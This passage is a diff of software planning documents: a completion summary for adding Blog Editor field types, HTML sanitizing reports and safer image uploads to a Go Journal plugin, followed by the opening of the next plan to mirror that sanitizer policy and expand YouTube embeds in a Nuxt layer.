- blogeditor and mlblogeditor field types on the Journal plugin (journal.Plugin.FormFieldTypes, classes.BlogEditorTypes, classes.BlogEditorElement, classes.LooksLikeHTML)
|
||||
- classes.SanitizeHTMLReport and classes.HTMLRemovals (removal report behind the admin notices); SanitizeHTML is its string half
|
||||
- newHTMLPolicy editor-output extension (figure data-embed/data-id, img alt, ol start)
|
||||
- classes.StoreMedia, StoredMedia, MediaError, MediaMaxBytes, MediaFolderPattern shared by the public upload route and the editor upload
|
||||
- postsAdminController FormAfterCreate/FormAfterUpdate writing content_html per written locale
|
||||
- editor lang keys (content_invalid, image_invalid, upload_failed, removed_elements, removed_attributes, removed_comments, markup_changed) in en and pl
|
||||
affects: [16.2-04, 16.2-05, 16.2-06, journal]
|
||||
|
||||
actuals:
|
||||
tokens: 20600
|
||||
tasks: 3
|
||||
commits: 5
|
||||
plan_head_before: 086e485215f69bd8a78f61fb1d5e69b2246366cd
|
||||
plan_head_after: 2384a61e38f10afa522f38f8180cb62a32a9d9c0
|
||||
commits_repo: ../sm-journal-plugin
|
||||
docs_commits: [332993c]
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Removal report by in-order start-tag alignment: greedy match on an attribute-compatible output tag, falling back to element-name alignment; Other covers any change nothing else explains, so the report is empty exactly when the output equals the input"
|
||||
- "Companion column through Form hooks: FieldWritesFromContext Default write to the host column in FormBefore*, non-default writes through the TranslationWriter in FormAfter*"
|
||||
- "Policy pinned by the editor's own corpus: every corpus entry must survive byte for byte with an empty report"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-journal-plugin/classes/blog_editor.go
|
||||
- ../sm-journal-plugin/classes/media_store.go
|
||||
- ../sm-journal-plugin/classes/media_store_test.go
|
||||
- ../sm-journal-plugin/classes/editor_policy_test.go
|
||||
- ../sm-journal-plugin/field_types.go
|
||||
- ../sm-journal-plugin/controllers/posts_editor_smoke_test.go
|
||||
modified:
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/controllers/posts.go
|
||||
- ../sm-journal-plugin/controllers/admin_registry.go
|
||||
- ../sm-journal-plugin/controllers/categories.go
|
||||
- ../sm-journal-plugin/controllers/api/media.go
|
||||
- ../sm-journal-plugin/controllers/api/media_test.go
|
||||
- ../sm-journal-plugin/models/post/fields.yaml
|
||||
- ../sm-journal-plugin/models/category/fields.yaml
|
||||
- ../sm-journal-plugin/lang/en/lang.yaml
|
||||
- ../sm-journal-plugin/lang/pl/lang.yaml
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- ../sm-journal-plugin/journal_api_categories_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
- .planning/notes/journal-html-sanitizing-bluemonday.md
|
||||
|
||||
key-decisions:
|
||||
- "The policy needed exactly the four planned editor-output rules: a probe of the 15-entry corpus against the pre-change policy showed only figure data-embed/data-id, img alt and ol start being stripped; no fifth rule"
|
||||
- "Editor upload: the sniffed type must be JPEG, PNG, GIF or WebP and must match an allowed extension; a name without an extension gets the sniffed one; a disallowed extension reaches StoreMedia's 'The file must be an image.'"
|
||||
- "uniqueMediaKey fails instead of overwriting when all 999 numbered names are taken (the old code returned the original path); StoreMedia also checks the folder rule itself"
|
||||
- "Load without a translation writer (Translated nil) serves FormatHTML(content) for a markdown value"
|
||||
- "Removal notices end a cut name list with ', …'; HTMLRemovals keeps unexported cut flags"
|
||||
|
||||
patterns-established:
|
||||
- "A plugin field type's Decode reports changes as notices and never refuses on content it can repair"
|
||||
|
||||
requirements-completed: [D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-14, D-18, D-19]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "Post content compiles as mlblogeditor (element, translatable, htmlColumn, uploadFolder; assets exist); Decode keeps clean HTML and the embed placeholder byte for byte with no notice, strips script/onerror with two notices, nil to '', refuses a number; Load serves HTML as stored, markdown as content_html or FormatHTML; ListValue; hooks write content_html per written locale and leave untouched content alone; en/pl plural phrases"
|
||||
requirement: D-08
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorTracerSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "SanitizeHTMLReport: elements, attributes (repeats and changed style), comments, Other, ten-name cut with exact counts; Empty exactly when the output equals the input for every unsafe payload, the imported-post fixture and every corpus entry"
|
||||
requirement: D-10
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/editor_policy_test.go#TestSanitizeHTMLReport"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Policy admits every editor-corpus entry byte for byte (empty report, nil CheckHTML) and the placeholder through FormatHTML; other providers, malformed ids, data attributes on other elements, other data-* on figure, onload, iframe, non-numeric start and start on ul are still stripped; the 35 unsafe payloads and the CheckHTML table are unchanged (diff against c60abc6 empty)"
|
||||
requirement: D-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/editor_policy_test.go#TestEditorOutputPassesPolicy"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLSanitizesUnsafeHTML"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/check_html_test.go#TestCheckHTML"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "StoreMedia keeps the public route's key layout, unique suffix, URL, extension list and size message; editor Upload sniffs the type, uses safe lowercase names and the field's uploadFolder, refuses html/svg/mismatched types, maps MediaError to FormFieldError and a missing bucket to an opaque error; the route's error bodies are unchanged"
|
||||
requirement: D-18
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorUploadSmoke"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/controllers/api/media_test.go#TestWriteMediaStoreError"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/media_store_test.go#TestMediaObjectPath"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Category content compiles as blogeditor, Load serves the stored *string, Decode strips onclick with a notice, the hooks map blank to NULL and accept any other content (422 retired)"
|
||||
requirement: D-19
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorUploadSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Public posts API and route table unchanged since c60abc6 (D-09)"
|
||||
requirement: D-09
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "git -C ../sm-journal-plugin diff --quiet c60abc6 -- controllers/api/posts_helpers.go controllers/api/posts.go routes.go"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D7
|
||||
description: "Postgres-backed admin saves and the media route: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, journal_api_task3_test.go media upload, plugin boot with the field types"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "No Docker on this host (docker.sock permission denied); the tests compile under go vet and run on a Docker host in plan 06"
|
||||
|
||||
duration: 13min
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 03: Journal Blog Editor integration Summary
|
||||
|
||||
**Journal post content (mlblogeditor) and category content (blogeditor) are edited with the Blog Editor; every admin save stores bluemonday's output per locale, byte for byte when nothing is unsafe, writes the same HTML to content and content_html without goldmark, and names what it removed through SanitizeHTMLReport notices; the policy admits exactly the editor's four extra attributes, pinned by the editor corpus, and editor images go through the extracted StoreMedia with a magic-byte check.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 13 min
|
||||
- **Started:** 2026-10-10T09:58:55Z
|
||||
- **Completed:** 2026-10-10T10:12Z
|
||||
- **Tasks:** 3 (tracer + 2 TDD expansions)
|
||||
- **Files:** 20 in sm-journal-plugin (6 created, 14 modified), 1 decision note in summercms.go
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Removal report (D-10 amended):** `SanitizeHTMLReport(doc) (string, HTMLRemovals)` aligns the input's start tags with bluemonday's output in order; unmatched tags are removed elements, missing, repeated or changed attributes are removed attributes (a `style` that lost a property counts under `style`), comments are counted, `Other` covers anything else. At most ten distinct names per list, exact counts. `SanitizeHTML` is its string half; `FormatHTML`, `FormatTranslation` and `CheckHTML` keep their behaviour.
|
||||
- **Field types (D-08, D-14):** `classes.BlogEditorTypes` returns `blogeditor` (uploadFolder) and `mlblogeditor` (htmlColumn, uploadFolder) on `golem15-journal-blogeditor` with the plan 02 bundle; `journal.Plugin.FormFieldTypes` registers them. `checkBlogOptions` checks the options at boot.
|
||||
- **Decode / Load / ListValue (D-04, D-07, D-10):** Decode returns the policy output plus `removed_elements`, `removed_attributes`, `removed_comments` and `markup_changed` notices; nil is `""`, a non-string is a `FormFieldError` (`content_invalid`). Load serves HTML as stored and markdown (`LooksLikeHTML` false) as that locale's `content_html`, else `FormatHTML(content)`. ListValue (ctx form) strips tags and cuts at 120 runes.
|
||||
- **Admin save path (D-02, D-03):** `preparePostWrite` no longer calls goldmark; it copies the Default `content` write to `ContentHTML`. New `FormAfterCreate`/`FormAfterUpdate` write `content_html` for each non-default written locale through the `TranslationWriter` in the save transaction. Untouched content is not written, so both columns stay byte-identical.
|
||||
- **Categories (D-19 amended):** `content` is `blogeditor` with `uploadFolder: categories`; the `CheckHTML` 422 gate is gone, blank still becomes NULL; the field comment (en, pl) says unsafe HTML is removed on save.
|
||||
- **Media (D-18, D-09):** `classes.StoreMedia` holds the public route's storage (extensions, 10240 KiB, `/journal/<folder>/<name>`, unique suffix, `attach.PublicURL`); `UploadMedia` keeps auth, permissions, folder and form checks and the same bodies. The editor `Upload` sniffs the first 512 bytes (`http.DetectContentType`), requires a matching JPEG/PNG/GIF/WebP type, builds a safe lowercase name and stores in the field's folder (`editor` by default).
|
||||
- **Policy (D-05 amended):** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` any text, `ol` `start` `^[0-9]+$`; nothing else. `CheckHTML` documented as a predicate no write path refuses with.
|
||||
- **Docs:** plugin README (field types, admin save rules, category rule, unchanged public API, editor uploads, the four policy rules, API reference rows); decision note amendment with the four table rows (summercms.go `332993c`).
|
||||
|
||||
## Task Commits
|
||||
|
||||
All code commits are in `../sm-journal-plugin` (branch main):
|
||||
|
||||
1. **Task 1: tracer** - `cbf4891` feat(classes): report what the HTML policy removes; `fbd1c85` feat(admin): post content on the Blog Editor field type
|
||||
2. **Task 2: categories, uploads, README** - `15fcad7` refactor(api): share media storage with the editor upload; `cb1c688` feat(admin): category content on the Blog Editor and editor image uploads
|
||||
3. **Task 3: policy extension** - `2384a61` feat(classes): allow the Blog Editor's own markup in the HTML policy; summercms.go `332993c` docs(16.2): record the editor-output policy extension
|
||||
|
||||
## Smoke test output
|
||||
|
||||
```
|
||||
--- PASS: TestBlogEditorTracerSmoke (13 subtests: compile, type definitions, decode clean, decode placeholder,
|
||||
decode strip with notices, decode nil/non-string, load HTML, load markdown content_html, load FormatHTML fallback,
|
||||
list value, hooks write content_html, hooks leave untouched content, plural phrases)
|
||||
--- PASS: TestBlogEditorUploadSmoke (9 subtests: StoreMedia layout, StoreMedia refusals, editor upload safe name,
|
||||
editor upload refusals, missing bucket, category compile, category load, category decode, category hooks)
|
||||
--- PASS: TestEditorOutputPassesPolicy (15 corpus entries, placeholder, 18 strip cases, alt, ol start)
|
||||
--- PASS: TestSanitizeHTMLReport
|
||||
--- PASS: TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestFormatHTMLKeepsRawHTML,
|
||||
TestSanitizeHTML, TestCheckHTML (unchanged since c60abc6)
|
||||
--- PASS: TestWriteMediaStoreError, TestMediaObjectPath, TestMediaFolderPatternRejectsDotDot
|
||||
```
|
||||
|
||||
- `go -C ../sm-journal-plugin vet ./...` clean (compiles the updated Postgres tests).
|
||||
- `go test -short ./...`: `classes`, `controllers`, `controllers/api` pass; the root package, `models` and `updates` fail only on `docker.sock: permission denied`.
|
||||
- `npx vitest run` 33/33 and `scripts/check-dist.sh` ("assets/dist matches a fresh build") still pass.
|
||||
|
||||
## Postgres tests that need a Docker host (plan 06)
|
||||
|
||||
- `posts_admin_smoke_test.go`: `TestPostsFormCompiles` (expects `"type":"mlblogeditor"`), `TestPostsAdminCreateSmoke` (HTML content, `ContentHTML == Content`, no `meta.notices`), `TestPostsAdminResaveKeepsHTML` (exact bytes), `TestPostsAdminSaveSanitizesHTML` (save succeeds, both columns sanitized for en host and pl translation, notices name `a, base` and `onerror` per locale).
|
||||
- `journal_api_categories_test.go`: `TestCategoriesAdminContent` (schema type `blogeditor`, "unsafe create stripped" 201 + `<p>x</p>` + onclick notice, "unsafe update stripped" 200 + `x` + `a` notice, safe create without notices).
|
||||
- `journal_api_task3_test.go` media upload tests (the route now runs through `StoreMedia`), `plugin_test.go`, and a full plugin boot with `FormFieldTypes` (cabana's boot-time asset and alias checks against the embedded `adminFS`).
|
||||
|
||||
## TDD Gate Compliance
|
||||
|
||||
Tasks 2 and 3 are `tdd="true"`. CLAUDE.md requires `go test ./...` green at every commit, so no failing `test(...)` commit exists; as in plans 01 and 02, RED was run and verified before GREEN and tests were committed with the implementation.
|
||||
|
||||
- **Task 2 RED:** compile stubs for `StoreMedia` and the moved helpers, then `TestBlogEditorUploadSmoke` failed on its assertions (`not implemented`, "blogeditor has no Upload") and `TestMediaObjectPath` on its path assertion. `go test -json` was converted to TAP and checked: `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`, target `TestBlogEditorUploadSmoke`). The category subtests were masked by the parent's fatal at RED time; the category schema and hook subtests then failed (type `textarea`, `validation_failed`) after Upload went green and before the category change, and passed after it.
|
||||
- **Task 3 RED:** `TestEditorOutputPassesPolicy` failed on 18 subtests (corpus entries with the embed, alt and start; placeholder; the negative cases, whose `want` keeps the placeholder) before the policy change: `RED_EVIDENCE_OK`, target `TestEditorOutputPassesPolicy`. `TestSanitizeHTMLReport` was already green because the report shipped in the Task 1 tracer.
|
||||
- **GREEN:** the implementation commits listed above; no refactor commit was needed.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See key-decisions in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Plan text] Host and translation locales in TestPostsAdminSaveSanitizesHTML**
|
||||
- **Found during:** Task 1
|
||||
- **Issue:** The plan says "pl (host) and en (translation)", but the test harness (`bootJournal`) makes `en` the default locale and `pl` the translation.
|
||||
- **Fix:** The test asserts the host columns for `en` and `golem15_translate_attributes` for `pl`, and notices for both locales.
|
||||
- **Files modified:** posts_admin_smoke_test.go
|
||||
- **Commit:** fbd1c85
|
||||
|
||||
**2. [Rule 2 - Security] uniqueMediaKey no longer overwrites**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** The moved `uniqueMediaKey` returned the original (existing) path when all 999 numbered names were taken, so a write would overwrite an object; the threat model (T-16.2-16) requires that it never overwrites.
|
||||
- **Fix:** It returns an error instead (a 500 on the public route in that pathological case only). `StoreMedia` also re-checks the folder rule (MediaError on `folder`), which the route already enforces first, so no response changes.
|
||||
- **Files modified:** classes/media_store.go
|
||||
- **Commit:** 15fcad7
|
||||
|
||||
**3. [Rule 2 - Correctness] Editor upload type must match its extension**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** The plan's "first bytes sniff as that image type" needs a rule for names whose extension disagrees with the bytes, or that have none.
|
||||
- **Fix:** A sniffed type outside JPEG/PNG/GIF/WebP, or one that differs from an allowed extension's type, is `image_invalid`; a name without an extension gets the sniffed one; a disallowed extension gets StoreMedia's "The file must be an image." `safeUploadName` also trims leading and trailing `-` and `.` (no hidden or dot-only names).
|
||||
- **Files modified:** classes/blog_editor.go
|
||||
- **Commit:** cb1c688
|
||||
|
||||
**4. [Rule 2 - Correctness] Category field comment**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** `category.content_comment` (en, pl) told administrators unsafe HTML "is refused", which is no longer true.
|
||||
- **Fix:** It now says unsafe HTML is removed on save and the form names what was removed.
|
||||
- **Files modified:** lang/en/lang.yaml, lang/pl/lang.yaml
|
||||
- **Commit:** cb1c688
|
||||
|
||||
**5. Files and shapes outside the plan's lists**
|
||||
- `controllers/admin_registry.go` holds the new `pact.FormAfterCreate`/`pact.FormAfterUpdate` assertions next to the controller's other compile-time assertions (commit fbd1c85).
|
||||
- `controllers/api/media_test.go` now holds `TestWriteMediaStoreError` (the route's 422 and 500 bodies after the move); the two path tests moved to `classes/media_store_test.go` as planned.
|
||||
- `HTMLRemovals` carries two unexported flags recording that a name list was cut, so `removalNotices` can append `, …`.
|
||||
- Task 2 committed the refactor (`15fcad7`) before the feature (`cb1c688`) so that each commit builds on its own.
|
||||
- `loadBlogHTML` serves `FormatHTML(content)` when no translation writer is published (`Translated` is nil), and serves blank content as it is.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 4 auto-fixed (1 plan text, 3 correctness/security) plus file and ordering notes. **Impact:** no change to the planned API, the public routes' contract or the four policy rules.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- No Docker on this host: the Postgres tests listed above compile but did not run (recorded in `.planning/WINDOWS.md` as unrun-verify entries 15 and 16).
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 04 mirrors the same four policy rules in the layer and checks the same `editor-corpus.json`; no fifth rule was needed.
|
||||
- Plan 05/06: run the Docker-only tests above, then the browser UAT of the editor in the admin (typing, uploads through the cabana route, notices after a stripped save).
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Created files exist in ../sm-journal-plugin: classes/blog_editor.go, classes/media_store.go, classes/media_store_test.go, classes/editor_policy_test.go, field_types.go, controllers/posts_editor_smoke_test.go.
|
||||
- Commits exist in ../sm-journal-plugin: cbf4891, fbd1c85, 15fcad7, cb1c688, 2384a61; in summercms.go: 332993c.
|
||||
@@ -0,0 +1,278 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 04
|
||||
type: execute
|
||||
wave: 2
|
||||
depends_on: ["16.2-02"]
|
||||
coupling_justified: ["16.2-03: both plans add the same four editor-output rules (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt any text, ol start integer), each in its own repository; the set is fixed in both plans' text and checked against the same plan 02 corpus, neither plan reads the other's files, and either one stops and reports if the corpus needs a fifth rule, so both execution orders give matching policies"]
|
||||
files_modified:
|
||||
- ../vue-journal-layer/app/utils/embeds.ts
|
||||
- ../vue-journal-layer/app/utils/htmlGate.ts
|
||||
- ../vue-journal-layer/tests/htmlGate.test.ts
|
||||
- ../vue-journal-layer/tests/fixtures/editor-corpus.json
|
||||
- ../vue-journal-layer/docs/decisions/0001-sanitize-html.md
|
||||
- ../vue-journal-layer/app/components/Journal/PostBody.vue
|
||||
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
|
||||
- ../vue-journal-layer/app/assets/css/journal-base.css
|
||||
- ../vue-journal-layer/tests/embeds.test.ts
|
||||
- ../vue-journal-layer/testing/fixtures/acme/posts.json
|
||||
- ../vue-journal-layer/testing/expect-acme.txt
|
||||
- ../vue-journal-layer/README.md
|
||||
- ../vue-journal-layer/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
|
||||
autonomous: false
|
||||
requirements: [D-05, D-17]
|
||||
estimate:
|
||||
tokens: 55000
|
||||
raw_tokens: 55000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-17 and D-05: JournalPostBody and JournalCategoryHeader render expandEmbeds(sanitizeJournalHtml(html)): the sanitizer runs first at the v-html sink and expansion is the very last step, so the iframe it builds is never passed through a sanitizer that would strip it; the payload transforms (toPostView, the category page) only sanitize and keep the placeholder; only an exact <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id from [A-Za-z0-9_-] becomes <figure class=\"journal-embed journal-embed--youtube\"> holding an iframe on https://www.youtube-nocookie.com/embed/ID; any other figure, provider or id stays unchanged and inert."
|
||||
- "D-05 (amended): htmlGate.ts mirrors plan 03's Go policy extension exactly (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt with any text, ol start integer) and nothing more; every entry of tests/fixtures/editor-corpus.json, a byte copy of plan 02's corpus, is safe under gateJournalHtml, and the placeholder survives sanitizeJournalHtml twice (payload, then sink) before it expands."
|
||||
- "D-05: a raw iframe in stored HTML is stripped by sanitizeJournalHtml before expansion (the rest of the body renders, no iframe comes from stored markup)."
|
||||
- "D-17: the built playground server, run with testing/smoke-ssr.mjs against the acme fixtures, renders the youtube-nocookie iframe for the fixture post that carries a placeholder."
|
||||
- "D-17: vue-journal-layer v0.2.0 is an annotated tag on origin, scripts/check-git-install.sh v0.2.0 passes, and vue-grzybyfunkcjonalne-app main pins git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0 with a pnpm-lock.yaml that resolves to the tag's commit, builds and passes its tests."
|
||||
artifacts:
|
||||
- path: "../vue-journal-layer/app/utils/embeds.ts"
|
||||
provides: "expandEmbeds and the provider allowlist"
|
||||
contains: "youtube-nocookie.com/embed/"
|
||||
- path: "../vue-journal-layer/app/utils/htmlGate.ts"
|
||||
provides: "the sanitize-html mirror with the editor-output extension"
|
||||
contains: "data-embed"
|
||||
- path: "../vue-journal-layer/tests/fixtures/editor-corpus.json"
|
||||
provides: "byte copy of the Blog Editor's output corpus (plan 02)"
|
||||
contains: "data-embed"
|
||||
- path: "../vue-journal-layer/tests/embeds.test.ts"
|
||||
provides: "node:test smoke of the transform and the gate order"
|
||||
contains: "expandEmbeds"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json"
|
||||
provides: "layer pin"
|
||||
contains: "vue-journal-layer.git#v0.2.0"
|
||||
key_links:
|
||||
- from: "../vue-journal-layer/app/components/Journal/PostBody.vue"
|
||||
to: "../vue-journal-layer/app/utils/embeds.ts expandEmbeds"
|
||||
via: "v-html of expandEmbeds(sanitizeJournalHtml(html)), expansion last"
|
||||
pattern: "expandEmbeds"
|
||||
- from: "../vue-journal-layer/tests/fixtures/editor-corpus.json"
|
||||
to: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
|
||||
via: "byte copy; the plan 06 phase gate compares the two files"
|
||||
pattern: "editor-corpus.json"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml"
|
||||
to: "vue-journal-layer v0.2.0 commit"
|
||||
via: "pnpm install after the pin bump"
|
||||
pattern: "vue-journal-layer"
|
||||
prohibitions:
|
||||
- statement: "The layer never builds an iframe from anything but a validated provider id and a fixed host; htmlGate.ts gains only the four editor-output rules plan 03 adds to the Go policy, never iframe, URL schemes, styles, event attributes or other data attributes."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "A pushed layer tag is never moved or deleted; a defect after the push gets v0.2.1."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 04): the frontend half of embeds (D-17). The reusable Nuxt blog views layer keeps the editor's markup through its sanitizer, expands the allowlisted embed placeholders into privacy-enhanced YouTube iframes as the last step before v-html, ships as tag v0.2.0, and the site app pins it.
|
||||
|
||||
## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 amended)
|
||||
|
||||
16.1 replaced the layer's regex gate with sanitize-html 2.18.0 (5beb1c5, decision note `docs/decisions/0001-sanitize-html.md`, tag v0.1.1 at 294a8d8). The layer now never blanks a body: `sanitizeJournalHtml` strips what the policy refuses, `gateJournalHtml` returns `{safe, html}` with `html` always sanitized, and there is no blocked notice. The body is sanitized twice: once in the payload (`toPostView`, the category page) and again at the sink (`JournalPostBody`, `JournalCategoryHeader`). Two consequences for this plan:
|
||||
|
||||
- **Order.** Expansion must be the very last step at the sink, after `sanitizeJournalHtml`. Run anywhere earlier, for example in `toPostView`, the sink's sanitizer would strip the iframe again.
|
||||
- **Mirror.** The placeholder's `data-embed`/`data-id` (and the editor's `alt` text and `ol start`) are stripped by the mirror today. Amended D-05 extends the Go policy (plan 03) and this mirror with the same four rules, pinned by plan 02's corpus. That is why this plan now waits for plan 02 (wave 2, parallel with plan 03).
|
||||
|
||||
The site app pins `#v0.1.1` today, and the layer's package.json version field still reads 0.1.0. Where RESEARCH Pattern 7 says the gate "refuses" a raw iframe, read "strips".
|
||||
|
||||
Path note: the site app is the submodule `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (its own repository, origin git.golem15.com/golem15/vue-grzybyfunkcjonalne-app, branch main), not a sibling directory. Plan 05 bumps the host's gitlink to the app commit pushed here.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Decisions recorded here (Claude's discretion)
|
||||
|
||||
- Provider allowlist: YouTube only, as one entry in `EMBED_PROVIDERS` (id pattern `^[A-Za-z0-9_-]{11}$`, src `https://www.youtube-nocookie.com/embed/<id>`), matching the editor's table in plan 02.
|
||||
- The placeholder is matched exactly as the editor writes it (attribute order data-embed then data-id, empty figure, no caption). Anything else is left as is, so an unknown or malformed placeholder renders as an empty figure.
|
||||
- Iframe attributes: `title="YouTube video"`, `loading="lazy"`, `referrerpolicy="strict-origin-when-cross-origin"`, `allow="encrypted-media; picture-in-picture; fullscreen"`, `allowfullscreen`. Since 16.1 the UAT vhost sends a public Content-Security-Policy-Report-Only whose default-src 'self' has no frame-src, so the iframe loads (report-only) but logs a violation; plan 05 adds frame-src https://www.youtube-nocookie.com to that policy in the host repository (RESEARCH Pattern 7's "no CSP" predates 16.1).
|
||||
- The layer tag push is a one-way door and gets its own checkpoint here; the summercms tag and the UAT deploy are gated in plan 05.
|
||||
- Mirror extension: exactly the four rules plan 03 adds to the Go policy: `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` with any value, and `ol` `start` (`INTEGER`). The corpus copy lives at `tests/fixtures/editor-corpus.json` with a test header comment naming its source; the copy is never edited by hand.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `app/utils/embeds.ts`: `EMBED_PLACEHOLDER` (RegExp), `EMBED_PROVIDERS`, `expandEmbeds(html: string): string`.
|
||||
- `app/utils/htmlGate.ts`: `figure` and `ol` entries plus the widened `img` `alt` rule in `ELEMENT_ATTRS` (mirror of the Go extension).
|
||||
- `tests/fixtures/editor-corpus.json` (byte copy of plan 02's corpus); corpus, mirror and pipeline cases in `tests/htmlGate.test.ts` and `tests/embeds.test.ts`.
|
||||
- `docs/decisions/0001-sanitize-html.md`: the Policy section lists the four editor-output additions.
|
||||
- CSS classes `.journal-embed`, `.journal-embed--youtube` in `app/assets/css/journal-base.css`.
|
||||
- `tests/embeds.test.ts`; acme fixture post with a placeholder and the matching `testing/expect-acme.txt` line.
|
||||
- Layer version 0.2.0 and annotated tag `v0.2.0` on origin.
|
||||
- vue-grzybyfunkcjonalne-app main: pin `#v0.2.0` and the updated `pnpm-lock.yaml`.
|
||||
|
||||
<objective>
|
||||
Mirror the editor-output policy extension in the layer's sanitizer, expand editor embed placeholders as the last step of the post and category sinks (D-17, D-05), release the layer as v0.2.0 and pin it in the site app.
|
||||
|
||||
Purpose: grzybyfunkcjonalne.pl shows the YouTube embeds authors add in the Blog Editor, and keeps their alt text and list numbering, while stored HTML still goes through the strict sanitizer.
|
||||
Output: the htmlGate.ts mirror and corpus test, embeds.ts with tests and SSR proof, tag v0.2.0, app pin and lockfile.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
|
||||
|
||||
Repositories: `../vue-journal-layer` (branch main at 294a8d8 = tag v0.1.1, earlier tags v0.0.1 and v0.1.0; depends on sanitize-html 2.18.0; package.json version field 0.1.0; pnpm-lock.yaml; tests run with `npm test` = node --test on TypeScript with type stripping, Node 22.18 or later) and `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (branch main, pnpm). Commits: no co-author tags, stage by explicit path. Use only erasable TypeScript syntax in files node --test loads (no enums, no parameter properties) and import siblings with the .ts extension, as htmlGate.ts does.
|
||||
|
||||
<interfaces>
|
||||
Placeholder written by the editor (plan 02) and the expansion it becomes:
|
||||
|
||||
```html
|
